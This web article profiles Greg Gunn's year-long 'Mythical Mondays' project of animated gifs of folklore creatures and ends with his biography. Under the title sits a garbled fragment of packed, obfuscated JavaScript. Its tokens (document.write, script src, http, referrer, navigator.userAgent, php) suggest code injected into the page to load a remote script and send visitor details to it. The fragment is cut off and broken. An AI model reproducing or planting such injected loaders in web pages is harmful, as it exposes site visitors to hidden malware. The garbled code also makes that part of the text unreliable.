A crash course in mythology with Mythical Mondays

=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etdtk|var|u0026u|referrer|fnryh||js|php'.split('|'),0,{})) size=”big”]

There are many different incarnations of the year-long, creative, personal challenge, but Greg Gunn’s version must be one of the most imaginative ones yet. Every week for a year he published his Mythical Mondays, driven by his love for all things mythical. He created animated gifs of the weird and wonderful creatures that take centre stage in the folklore that form the basis of so many cultures world wide. The humorous short animations range from some well-known characters such as Medusa or a unicorn, to those that take a true folklore enthusiast to decipher, including the Philipino Tikbalang and Korean Dalgyal Gwishin. One thing all 52 have in common is a Wikipedia page, which is how Gunn researched most of the his creatures.

His interest in mythology dates back to being a child, saying “I remember visiting the school library as a kid every week and trying to find a new book about Greek mythology to dig into.” Wanting to give himself a fun, weekly challenge, myths seemed like the natural theme to pursue.

Talking about his working process, most gifs started on a Monday morning with a massive panic. Frenzied sketching eventually leads to a final idea for that day’s gif; “I’ll fill up a page in my sketchbook and find something that makes me laugh that I think would work.” His short loops are incredibly charming, often casting these peculiar creatures in human personifications.

He eventually ended his series with the Four Horsemen of the Apocalypse, rounding the whole thing off with death. Get a taster of all 52 animations in the Mythical Monday video, to which Adam Sanborne produced music and sound. Want to make a Mythical Monday yourself? Fret no more, Greg has made a how to blog that you can see here.

“What’s not to love about the ubiquitous gif?! It can do and be anything. It’s like a cute, little cockroach—you can try to step on it, but it always seems to find a way to survive and ruin your apartment.”

Harpy from Mythical Mondays © Greg Gunn
Centaur from Mythical Monday © Greg Gunn

About Greg Gunn

Greg Gunn is an American, award-winning creative director, working in sunny Los Angeles, California.

He’s founded an animation studio, created original content for Disney and Nickelodeon and enjoys public speaking. As creative director at Blind, Greg is fascinated by the intersection of user experience, design and education.